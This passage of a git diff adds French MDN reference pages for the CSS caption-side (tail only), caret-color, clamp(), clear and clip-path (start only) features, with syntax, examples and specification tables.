+ <dd>Un mot-clé qui indique que la boîte de la légende doit être positionnée à droite du tableau.<br>
+ {{Note("Cette valeur a été proposée pour CSS 2, mais fut retirée avec la spécification CSS 2.1. Elle est non-standard.")}}</dd>
+ <dt><code>top-outside</code> {{non-standard_inline}}</dt>
+ <dd>Un mot-clé qui indique que la boîte de la légende doit être positionnée au-dessus du tableau sans que la largeur ou l'alignement horizontal soient liées à la disposition horizontale du tableau.<br>
+ {{Note("La spécification CSS 2.1 note que la spécification CSS 2 a défini un autre comportement pour la valeur <code>top</code>, réintroduit avec cette valeur dans une future spécification.")}}</dd>
+ <dt><code>bottom-outside</code> {{non-standard_inline}}</dt>
+ <dd>Un mot-clé qui indique que la boîte de la légende doit être positionnée en-dessous du tableau sans que la largeur ou l'alignement horizontal soient liées à la disposition horizontale du tableau.<br>
+ {{Note("La spécification CSS 2.1 note que la spécification CSS 2 a défini un autre comportement pour la valeur <code>bottom</code>, réintroduit avec cette valeur dans une future spécification.")}}</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">caption {
+  caption-side: bottom;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;caption&gt;Une légende&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Des données d'un tableau&lt;/td&gt;
+    &lt;td&gt;Pfiou encore des données&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#caption-side', 'caption-side')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Les valeurs <code>top</code> et <code>bottom</code> sont désormais définies comme relatives à la valeur de <code>writing-mode</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'tables.html#caption-position', 'caption-side')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.caption-side")}}</p>
diff --git a/files/fr/web/css/caret-color/index.html b/files/fr/web/css/caret-color/index.html
new file mode 100644
index 0000000000..e7d3578762
--- /dev/null
+++ b/files/fr/web/css/caret-color/index.html
@@ -0,0 +1,104 @@
+---
+title: caret-color
+slug: Web/CSS/caret-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Web
+translation_of: Web/CSS/caret-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>caret-color</code></strong> définit la couleur du curseur visible à l'endroit où l'utilisateur peut ajouter du texte ou un autre contenu dans l'élément lorsqu'il saisit au clavier ou qu'il édite les informations.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/caret-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les agents utilisateurs peuvent considérer que d'autres objets doivent être impactés par cette propriété : par exemple le curseur de navigation, qui ressemble au curseur de saisie et qui peut être déplacé sur un texte non-éditable. En revanche, bien que l'icône du curseur de la souris puisse ressembler à un curseur de saisie lorsque {{cssxref("cursor")}} vaut <code>auto</code> ou <code>text</code> ou <code>vertical-text</code>, celle-ci n'est pas modifiée par cette propriété. Pour certains navigateurs qui ne prennent pas en charge cette propriété, la couleur du curseur de saisie n'est pas associée à la couleur de la police.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+caret-color: auto;
+caret-color: transparent;
+color: currentColor;
+
+/* Valeurs de couleur */
+/* Type &lt;color&gt; */
+caret-color: red;
+caret-color: #5729e9;
+caret-color: rgb(0, 200, 0);
+caret-color: hsla(228, 4%, 24%, 0.8);</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur doit utiliser <code>currentcolor</code> mais peut ajuster la couleur du curseur afin d'améliorer la visibilité et le contraste avec le contenu environnant (l'arrière-plan, les ombres, etc.).
+ <div class="note"><strong>Note :</strong> Bien que l'agent utilisateur puisse utiliser <code>currentcolor</code> pour la valeur <code>auto</code>, cette dernière ne sera pas interpolée lors des animations/transitions (à la différence de la valeur <code>currentcolor</code>).</div>
+ </dd>
+ <dt>&lt;color&gt;</dt>
+ <dd>L'agent utilisateur utilise la couleur ({{cssxref("&lt;color&gt;")}}) indiquée comme couleur pour le curseur de saisie.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#exemple {
+  caret-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input id="exemple" /&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 UI", "#propdef-caret-color", "caret-color")}}</td>
+   <td>{{Spec2("CSS3 UI")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.caret-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}}</li>
+ <li>L'attribut HTML {{htmlattrxref("contenteditable")}} qui rend le texte d'un élément éditable</li>
+ <li><a href="/fr/docs/Web/HTML/Contenu_editable">Rendre du contenu éditable</a></li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML grâce à CSS</a></li>
+ <li>Le type de données {{cssxref("&lt;color&gt;")}}</li>
+ <li>Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}.</li>
+</ul>
diff --git a/files/fr/web/css/clamp()/index.html b/files/fr/web/css/clamp()/index.html
new file mode 100644
index 0000000000..8b30108198
--- /dev/null
+++ b/files/fr/web/css/clamp()/index.html
@@ -0,0 +1,120 @@
+---
+title: clamp()
+slug: Web/CSS/clamp()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/clamp()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>clamp</strong></code><strong><code>()</code></strong> permet de ramener (d'écrêter) une valeur entre deux bornes inférieure et supérieure. Cette fonction utilise trois paramètres : une valeur minimale, la valeur à tester et une valeur maximale. La fonction <code>clamp()</code> peut être utilisée à tout endroit où une valeur de type {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;angle&gt;")}}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, {{cssxref("&lt;number&gt;")}} ou {{cssxref("&lt;integer&gt;")}} peut être utilisée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> l'expression  <code>clamp(MIN, VAL, MAX)</code> sera résolue comme <code>max(MIN, min(VAL, MAX)))</code>.</p>
+</div>
+
+<pre class="brush: css no-line-numbers notranslate">width: clamp(10px, 4em, 80px);
+</pre>
+
+<p>Dans l'exemple précédent, la largeur fera au plus 80 pixels et au moins 10 pixels mais mesurera 4em de large si un em mesure entre 2.5 et 20px.</p>
+
+<p>Prenons comme hypothèse qu'un em mesure 16px de large :</p>
+
+<pre class="brush: css no-line-numbers notranslate">width: clamp(10px, 4em, 80px);
+/* avec 1em = 16px, on a 4em = 16px * 4 = 64px */
+width: clamp(10px, 64px, 80px);
+/* clamp(MIN, VAL, MAX) est résolue comme max(MIN, min(VAL, MAX))) */
+width: max(10px, min(64px, 80px))
+width: max(10px, 64px);
+width: 64px;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La fonction <code>clamp()</code> utilise trois expressions séparées par des virgules comme paramètres. Ces paramètres sont, dans l'ordre, la valeur minimale, la valeur préférée et la valeur maximale.</p>
+
+<p>La valeur minimale est la borne inférieure des valeurs autorisées. C'est cette valeur qui sera utilisée si la valeur préférée lui est inférieure.</p>
+
+<p>La valeur préférée correspond à la valeur qui sera utilisée si elle est supérieure à la borne inférieure et inférieure à la borne supérieure.</p>
+
+<p>La valeur maximale est la borne supérieure des valeurs autorisées. C'est cette valeur qui sera utilisée si la valeur préférée lui est supérieure.</p>
+
+<p>Les expressions passées en paramètres peuvent utiliser des fonctions mathématiques (voir  {{CSSxRef("calc")}} pour plus d'informationsn), des valeurs littérales ou d'autres expressions ( {{CSSxRef("attr", "attr()")}} par exemple) tant que le résultat de cette expression est évalué avec un type valide. Il est aussi possible d'utiliser des expressions mathématiques sans <code>calc()</code> et il est également possible d'ajouter des parenthèses pour prioriser correctement les opérations imbriquées.</p>
+
+<p>Il est possible d'utiliser différentes unités pour chacune des valeurs des expressions.</p>
+
+<h3 id="Notes">Notes</h3>
+
+<ul>
+ <li>Les expressions mathématiques qui utilisent des pourcentages pour les hauteurs et largeurs de colonnes de tableaux, de groupes de colonnes de tableaux, pour les lignes de tableaux, pour les groupes de lignes de tableaux et pour les cellules de tableau seront considérées comme <code>auto</code> si le tableau suit une disposition automatique ou fixée.</li>
+ <li>Il est possible d'imbriquer des fonctions <code>max()</code> et <code>min()</code> dans les expressions et d'utiliser les opérateurs mathématiques d'addition, soustraction, multiplication, division sans nécessairement recourir à <code>calc()</code>.</li>
+ <li>Attention à bien utiliser un espace de chaque côté des opérateurs + et -.</li>
+</ul>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Indiquer_une_taille_de_police_minimale_et_maximale">Indiquer une taille de police minimale et maximale</h3>
+
+<p>Un autre cas d'utilisation est de permettre à une taille de police de caractères de varier sans être minuscule et illisible et sans non plus être énorme.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">h1 {
+  font-size: 2rem;
+}
+h1.responsive {
+  font-size: clamp(32px, 2em, 2rem);
+}
+</pre>
+
+<p>Ici on utilise l'unité <code>rem</code> pour fixer un maximum correspondant à deux fois la taille <code>em</code> de la racine.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ce texte est toujours lisible mais sa taille ne change pas.&lt;/h1&gt;
+&lt;h1 class="responsive"&gt;Ce texte est toujours lisible et s'adapte dans une certaine mesure.&lt;/h1&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Indiquer_une_taille_de_police_minimale_et_maximale", '700', '300')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#calc-notation', 'clamp()')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.clamp")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("calc")}}</li>
+ <li>{{CSSxRef("max")}}</li>
+ <li>{{CSSxRef("min")}}</li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Valeurs CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/clear/index.html b/files/fr/web/css/clear/index.html
new file mode 100644
index 0000000000..a91dbec9b0
--- /dev/null
+++ b/files/fr/web/css/clear/index.html
@@ -0,0 +1,236 @@
+---
+title: clear
+slug: Web/CSS/clear
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/clear
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>clear</code></strong> indique si un élément peut être situé à côté d'éléments <a href="/fr/docs/Web/CSS/float">flottants</a> qui le précèdent ou s'il doit être déplacé vers le bas pour être en dessous de ces éléments. La propriété <code>clear</code> s'applique aux éléments flottants comme aux éléments non-flottants.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/clear.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Lorsqu'elle est appliquée aux blocs non-flottants, elle déplace <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">le bord de la bordure</a> de l'élément sous <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">le bord de la marge</a> de tous les éléments flottants concernés. Il y aura<a href="/fr/docs/Web/CSS/Fusion_des_marges"> fusion des marges (<em>margin collapsing</em>)</a> verticales entre l'élément flottant et le bloc non-flottant mais pas entre les élément flottants.</p>
+
+<p>Lorsqu'elle est appliquée aux éléments flottants, elle déplace <a href="/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte">le bord de la marge</a> de l'élément sous <a href="/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte">le bord de la marge</a> de tous les éléments flottants concernés. Cela impacte la position des éléments flottants suivants car ceux-ci ne peuvent pas être situés plus haut que les éléments flottants qui les précèdent.</p>
+
+<p>Les éléments flottants qui sont dégagés sont les éléments flottants précédant l'élément ciblé, au sein de du <a href="/fr/docs/Web/CSS/Block_formatting_context">même contexte de formatage</a>.</p>
+
+<div class="note">
+<p><strong>Note : </strong>Si un élément ne contient que des éléments flottants, sa hauteur sera nulle. Si on souhaite redimensionner l'élément afin qu'il contienne tous les éléments flottants à l'intérieur, on peut faire flotter ce conteneur ou utiliser <code>clear</code> sur un pseudo-élément remplacé {{cssxref("::after")}}.</p>
+
+<pre class="brush: css">#conteneur::after {
+   content: "";
+   display: block;
+   clear: both;
+}
+</pre>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css:no-line-numbers">/* Valeurs avec mot-clé */
+clear: none;
+clear: left;
+clear: right;
+clear: both;
+clear: inline-start;
+clear: inline-end;
+
+/* Valeurs globales */
+clear: inherit;
+clear: initial;
+clear: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui indique que l'élément n'est pas déplacé vers le bas pour dégager le flottement.</dd>
+ <dt><code>left</code></dt>
+ <dd>Un mot-clé qui indique que l'élément est déplacé vers le bas afin de dégager les flottements à gauche.</dd>
+ <dt><code>right</code></dt>
+ <dd>Un mot-clé qui indique que l'élément est déplacé vers le bas afin de dégager les flottements à droite.</dd>
+ <dt><code>both</code></dt>
+ <dd>Un mot-clé qui indique que l'élément est déplacé vers le bas afin de dégager les flottements à gauche et à droite.</dd>
+ <dt><code>inline-start</code></dt>
+ <dd>Un mot-clé qui indique que l'élément est déplacé vers le bas pour dégager le contenu vers le début du bloc englobant. Autrement dit, cela dégage à gauche pour les scripts de gauche à droite (<em>LTR</em> pour <em>left to right</em>) et dégage à droite pour les scripts de droite à gauche (<em>RTL</em> pour <em>droite à gauche</em>).</dd>
+ <dt><code>inline-end</code></dt>
+ <dd>Un mot-clé qui indique que l'élément est déplacé vers le bas pour dégager le contenu du côté de la fin du bloc englobant. Autrement dit, cela dégage à droite pour les scripts de gauche à droite (<em>LTR</em> pour <em>left to right</em>) et dégage à gauche pour les scripts de droite à gauche (<em>RTL</em> pour <em>droite à gauche</em>).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="clear_left"><code>clear: left</code></h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+  &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+  &lt;p class="left"&gt;Ce paragraphe est dégagé à gauche.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.left {
+  border: 1px solid black;
+  clear: left;
+}
+.black {
+  float: left;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width: 20%;
+}
+.red {
+  float: left;
+  margin: 0;
+  background-color: red;
+  width:20%;
+}
+p {
+  width: 50%;
+}
+</pre>
+
+<p>{{EmbedLiveSample('clear_left','100%','250')}}</p>
+
+<h3 id="clear_right"><code>clear: right</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+  &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+  &lt;p class="right"&gt;Ce paragraphe est dégagé à droite.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.right {
+  border: 1px solid black;
+  clear: right;
+}
+.black {
+  float: right;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width:20%;
+}
+.red {
+  float: right;
+  margin: 0;
+  background-color: red;
+  width:20%;
+}
+p {
+  width: 50%;
+}</pre>
+
+<p>{{EmbedLiveSample('clear_right','100%','250')}}</p>
+
+<h3 id="clear_both"><code>clear: both</code></h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor. Fusce pulvinar lacus ac dui.&lt;/p&gt;
+  &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+  &lt;p class="both"&gt;Ce paragraphe est dégagé de chaque côté.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.both {
+  border: 1px solid black;
+  clear: both;
+}
+.black {
+  float: left;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width:20%;
+}
+.red {
+  float: right;
+  margin: 0;
+  background-color: red;
+  width:20%;
+}
+p {
+  width: 45%;
+}</pre>
+
+<p>{{EmbedLiveSample('clear_both','100%','300')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Ajout des valeurs <code>inline-start</code> et <code>inline-end</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#flow-control', 'clear')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Pas de modification significative, clarification de certains détails.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#clear', 'clear')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.clear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">Le modèle de boîtes</a></li>
+</ul>
diff --git a/files/fr/web/css/clip-path/index.html b/files/fr/web/css/clip-path/index.html
new file mode 100644
index 0000000000..0fc8221df3
--- /dev/null
+++ b/files/fr/web/css/clip-path/index.html
@@ -0,0 +1,614 @@
+---
+title: clip-path
+slug: Web/CSS/clip-path
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/clip-path
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>clip-path</strong></code> empêche une portion d'un élément d'être affichée en définissant une région de rognage. Seule une zone spécifique de l'élément sera affichée. La zone de rognage est un chemin défini avec une URL faisant référence à un SVG externe ou en ligne ou grâce à une fonction de forme comme <code><a href="/fr/docs/Web/SVG/Element/circle">circle()</a></code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/clip-path.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>clip-path</code> remplace la propriété {{cssxref("clip")}} désormais dépréciée.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+clip-path: none;
+
+/* Valeurs pointant vers une image */
+/* Type &lt;clip-source&gt; */
+clip-path: url(resources.svg#c1);
+
+/* Valeurs de boîte */
+clip-path: fill-box;
+clip-path: stroke-box;
+clip-path: view-box;
+clip-path: margin-box;
+clip-path: border-box;
+clip-path: padding-box;
+clip-path: content-box;
+
+/* Valeurs géométriques            */
+/* avec une notation fonctionnelle */
+clip-path: inset(100px 50px);
+clip-path: circle(50px at 0 100px);
+clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
+clip-path: path('M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z');
+
+/* Combinaison boîte &amp; géométrie */
+clip-path: padding-box circle(50px at 0 100px);
+
+/* Valeurs globales */
+clip-path: inherit;
+clip-path: initial;
+clip-path: unset;
+</pre>
+
+<p>La propriété <code>clip-path</code> est définie avec une ou plusieurs des valeurs listées ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>url()</code></dt>
+ <dd>Une URL qui fait référence à un élément contenant le chemin de rognage.</dd>
+ <dt><code>inset()</code>, <code>circle()</code>, <code>ellipse()</code>, <code>polygon()</code></dt>
+ <dd>Une fonction {{cssxref("&lt;basic-shape&gt;")}}. Une telle forme utilise la valeur <code>&lt;geometry-box&gt;</code> pour déterminer la taille et la position de la forme. Si aucune boîte de géométrie n'est indiquée, c'est la boîte de bordure (<code>border-box</code>) qui sera utilisée comme boîte de réference.</dd>
+ <dt><code>&lt;geometry-box&gt;</code></dt>
+ <dd>Si cette valeur est combinée avec une valeur <code>&lt;basic-shape&gt;</code>, elle définira la boîte de référence dans laquelle placer la forme. Si elle est utilisée seule, ce sont les bords de la boîte (ainsi que les éventuels coins arrondis définis avec {{cssxref("border-radius")}}) qui sont utilisés comme ligne de rognage. Cette composante peut prendre les valeurs suivante :
+ <dl>
+  <dt><code>fill-box</code></dt>
+  <dd>La boîte englobant (<em>bounding box</em>) est utilisée comme boîte de référence.</dd>
+  <dt><code>stroke-box</code></dt>
+  <dd>La boîte de contour de la boîte englobante est utilisée comme boîte de référence.</dd>
+  <dt><code>view-box</code></dt>
+  <dd>La zone d'affichage SVG la plus proche est utilisée comme boîte de référence. Si un attribut {{SVGAttr("viewBox")}} est défini pour l'élément qui crée la zone d'affichage SVG, la boîte de référence est située à l'origine du système construit par <code>viewBox</code> et les dimensions de la boîte de référence sont les valeurs de hauteur et de largeur de l'attribut <code>viewBox</code>.</dd>
+  <dt><code>margin-box</code></dt>
+  <dd>La boîte de marge est utilisée comme boîte de référence</dd>
+  <dt><code>border-box</code></dt>
+  <dd>La boîte de bordure est utilisée comme boîte de référence</dd>
+  <dt><code>padding-box</code></dt>
+  <dd>La boîte de remplissage (<em>padding</em>) est utilisée comme boîte de référence</dd>
+  <dt><code>content-box</code></dt>
+  <dd>La boîte de contenu est utilisée comme boîte de référence.</dd>
+ </dl>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>Aucun chemin de rognage n'est créé.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Si <a href="/fr/docs/Web/CSS/Valeur_calcul%C3%A9e">la valeur calculée</a> est différente de <code>none</code>, cela entraînera  la création d'un nouveau <a href="/fr/docs/Glossaire/Contexte_d_empilement">contexte d'empilement</a> (de la même façon qu'{{cssxref("opacity")}} avec des valeurs différentes de 1).</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Comparaison_entre_HTML_et_SVG">Comparaison entre HTML et SVG</h3>
+
+<div class="hidden" id="clip-path">
+<pre class="brush: html">&lt;svg class="defs"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="myPath" clipPathUnits="objectBoundingBox"&gt;
+      &lt;path d="M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z" /&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;clip-path: none&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="none"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="none"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: url(#myPath)&lt;br&gt;&lt;br&gt;
+      Assuming the following clipPath definition:
+      &lt;pre&gt;
+&amp;lt;svg&amp;gt;
